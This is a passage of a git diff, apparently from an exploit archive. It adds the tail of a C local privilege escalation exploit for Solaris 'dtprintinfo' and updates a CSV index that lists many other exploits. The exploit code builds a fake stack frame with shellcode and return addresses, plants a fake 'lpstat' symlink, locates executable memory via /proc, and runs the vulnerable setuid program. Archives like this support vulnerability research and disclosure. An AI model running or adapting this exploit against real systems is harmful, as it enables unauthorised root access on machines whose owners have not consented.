addresses */ + ff_addr = get_ff_addr(VULN, argv); + sc_addr += ff_addr; + + /* + * populate saved %l registers + */ + set_val(ff, i = 0, ff_addr + 56); /* %l0 */ + set_val(ff, i += 4, ff_addr + 56); /* %l1 */ + set_val(ff, i += 4, ff_addr + 56); /* %l2 */ + set_val(ff, i += 4, ff_addr + 56); /* %l3 */ + set_val(ff, i += 4, ff_addr + 56); /* %l4 */ + set_val(ff, i += 4, ff_addr + 56); /* %l5 */ + set_val(ff, i += 4, ff_addr + 56); /* %l6 */ + set_val(ff, i += 4, ff_addr + 56); /* %l7 */ + + /* + * populate saved %i registers + */ + set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to sprintf() */ + set_val(ff, i += 4, sc_addr); /* %i1: 2nd arg to sprintf() */ + set_val(ff, i += 4, ff_addr + 56); /* %i2 */ + set_val(ff, i += 4, ff_addr + 56); /* %i3 */ + set_val(ff, i += 4, ff_addr + 56); /* %i4 */ + set_val(ff, i += 4, ff_addr + 56); /* %i5 */ + set_val(ff, i += 4, sb - 1024); /* %i6: frame pointer */ + set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ + +#ifdef USE_EXEC_SC + set_val(sc, 48, sb - 1024); /* populate exec shellcode placeholder */ +#endif /* USE_EXEC_SC */ + + /* overwrite RET and FPT env vars with the correct addresses */ + sprintf(ret_var, "RET=0x%x", ret); + env[ret_pos] = ret_var; + sprintf(fpt_var, "FPT=0x%x", ff_addr); + env[fpt_pos] = fpt_var; + + /* create a symlink for the fake lpstat */ + unlink("lpstat"); + symlink(argv[0], "lpstat"); + + /* print some output */ + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); + sysinfo(SI_RELEASE, release, sizeof(release) - 1); + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); + fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); + fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); + fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); + fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); + fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret); + + /* check for null bytes (add some padding to env if needed) */ + check_zero(ff_addr, "ff address"); + check_zero(sc_addr, "sc address"); + + /* run the vulnerable program */ + execve(VULN, arg, env); + perror("execve"); + exit(1); +} + +/* + * add_env(): add a variable to envp and pad if needed + */ +int add_env(char *string) +{ + int i; + + /* null termination */ + if (!string) { + env[env_pos] = NULL; + return env_len; + } + + /* add the variable to envp */ + env[env_pos] = string; + env_len += strlen(string) + 1; + env_pos++; + + /* pad the envp using zeroes */ + if ((strlen(string) + 1) % 4) + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { + env[env_pos] = string + strlen(string); + env_len++; + } + + return env_len; +} + +/* + * check_zero(): check an address for the presence of a 0x00 + */ +void check_zero(int addr, char *pattern) +{ + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || + !(addr & 0xff000000)) { + fprintf(stderr, "error: %s contains a 0x00!\n", pattern); + exit(1); + } +} + +/* + * get_ff_addr(): get fake frame address using a helper program + */ +int get_ff_addr(char *path, char **argv) +{ + char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; + char hex[11] = "\x00"; + int fd[2], addr; + + /* truncate program name at correct length and create a hard link */ + prog[strlen(path)] = 0x0; + unlink(prog); + link(argv[0], prog); + + /* open pipe to read program output */ + if (pipe(fd) < 0) { + perror("pipe"); + exit(1); + } + + switch(fork()) { + + case -1: /* cannot fork */ + perror("fork"); + exit(1); + + case 0: /* child */ + dup2(fd[1], 1); + close(fd[0]); + close(fd[1]); + execve(prog, arg, env); + perror("execve"); + exit(1); + + default: /* parent */ + close(fd[1]); + read(fd[0], hex, sizeof(hex)); + break; + } + + /* check and return address */ + if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) { + fprintf(stderr, "error: cannot read ff address from helper program\n"); + exit(1); + } + return addr + 4; +} + +/* + * search_ldso(): search for a symbol inside ld.so.1 + */ +int search_ldso(char *sym) +{ + int addr; + void *handle; + Link_map *lm; + + /* open the executable object file */ + if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { + perror("dlopen"); + exit(1); + } + + /* get dynamic load information */ + if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { + perror("dlinfo"); + exit(1); + } + + /* search for the address of the symbol */ + if ((addr = (int)dlsym(handle, sym)) == NULL) { + fprintf(stderr, "error: sorry, function %s() not found\n", sym); + exit(1); + } + + /* close the executable object file */ + dlclose(handle); + + check_zero(addr - 4, sym); + return addr; +} + +/* + * search_rwx_mem(): search for an RWX memory segment valid for all + * programs (typically, /usr/lib/ld.so.1) using the proc filesystem + */ +int search_rwx_mem(void) +{ + int fd; + char tmp[16]; + prmap_t map; + int addr = 0, addr_old; + + /* open the proc filesystem */ + sprintf(tmp,"/proc/%d/map", (int)getpid()); + if ((fd = open(tmp, O_RDONLY)) < 0) { + fprintf(stderr, "error: can't open %s\n", tmp); + exit(1); + } + + /* search for the last RWX memory segment before stack (last - 1) */ + while (read(fd, &map, sizeof(map))) + if (map.pr_vaddr) + if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { + addr_old = addr; + addr = map.pr_vaddr; + } + close(fd); + + /* add 4 to the exact address null bytes */ + if (!(addr_old & 0xff)) + addr_old |= 0x04; + if (!(addr_old & 0xff00)) + addr_old |= 0x0400; + + return addr_old; +} + +/* + * set_val(): copy a dword inside a buffer + */ +void set_val(char *buf, int pos, int val) +{ + buf[pos] = (val & 0xff000000) >> 24; + buf[pos + 1] = (val & 0x00ff0000) >> 16; + buf[pos + 2] = (val & 0x0000ff00) >> 8; + buf[pos + 3] = (val & 0x000000ff); +} \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 7d67ae04c..4d699dfdf 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -10866,7 +10866,7 @@ id,file,description,date,author,type,platform,port 46851,exploits/windows/local/46851.txt,"VMware Workstation 15.1.0 - DLL Hijacking",2019-05-16,"Miguel Mendez Z. & Claudio Cortes C.",local,windows, 46854,exploits/windows/local/46854.py,"JetAudio jetCast Server 2.0 - 'Log Directory' Local SEH Alphanumeric Encoded Buffer Overflow",2019-05-16,"Connor McGarr",local,windows, 46866,exploits/windows/local/46866.c,"Huawei eSpace 1.1.11.103 - DLL Hijacking",2019-05-20,LiquidWorm,local,windows, -46877,exploits/solaris/local/46877.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation",2019-05-20,"Marco Ivaldi",local,solaris, +46877,exploits/solaris/local/46877.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (1)",2019-05-20,"Marco Ivaldi",local,solaris, 46878,exploits/solaris/local/46878.c,"Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)",2019-05-20,"Marco Ivaldi",local,solaris, 46879,exploits/solaris/local/46879.c,"Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)",2019-05-20,"Marco Ivaldi",local,solaris, 47147,exploits/linux/local/47147.txt,"Docker - Container Escape",2019-07-19,dominikczarnotatob,local,linux, @@ -11247,6 +11247,11 @@ id,file,description,date,author,type,platform,port 49409,exploits/windows/local/49409.py,"PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval",2021-01-11,rootabeta,local,windows, 49453,exploits/windows/local/49453.txt,"Selea CarPlateServer (CPS) 4.0.1.6 - Local Privilege Escalation",2021-01-22,LiquidWorm,local,windows, 49491,exploits/multiple/local/49491.py,"Metasploit Framework 6.0.11 - msfvenom APK template command injection",2021-01-28,"Justin Steven",local,multiple, +49514,exploits/solaris/local/49514.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2)",2021-02-02,"Marco Ivaldi",local,solaris, +49515,exploits/solaris/local/49515.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3)",2021-02-02,"Marco Ivaldi",local,solaris, +49516,exploits/solaris/local/49516.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)",2021-02-02,"Marco Ivaldi",local,solaris, +49517,exploits/solaris/local/49517.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)",2021-02-02,"Marco Ivaldi",local,solaris, +49518,exploits/solaris/local/49518.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3)",2021-02-02,"Marco Ivaldi",local,solaris, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -43704,3 +43709,4 @@ id,file,description,date,author,type,platform,port 49510,exploits/php/webapps/49510.py,"Roundcube Webmail 1.2 - File Disclosure",2021-02-01,stonepresto,webapps,php, 49511,exploits/php/webapps/49511.py,"Klog Server 2.4.1 - Command Injection (Authenticated)",2021-02-01,"Metin Yunus Kandemir",webapps,php, 49512,exploits/php/webapps/49512.py,"WordPress 5.0.0 - Image Remote Code Execution",2021-02-01,"OUSSAMA RAHALI",webapps,php, +49513,exploits/php/webapps/49513.txt,"Student Record System 4.0 - 'cid' SQL Injection",2021-02-02,"Jannick Tiger",webapps,php,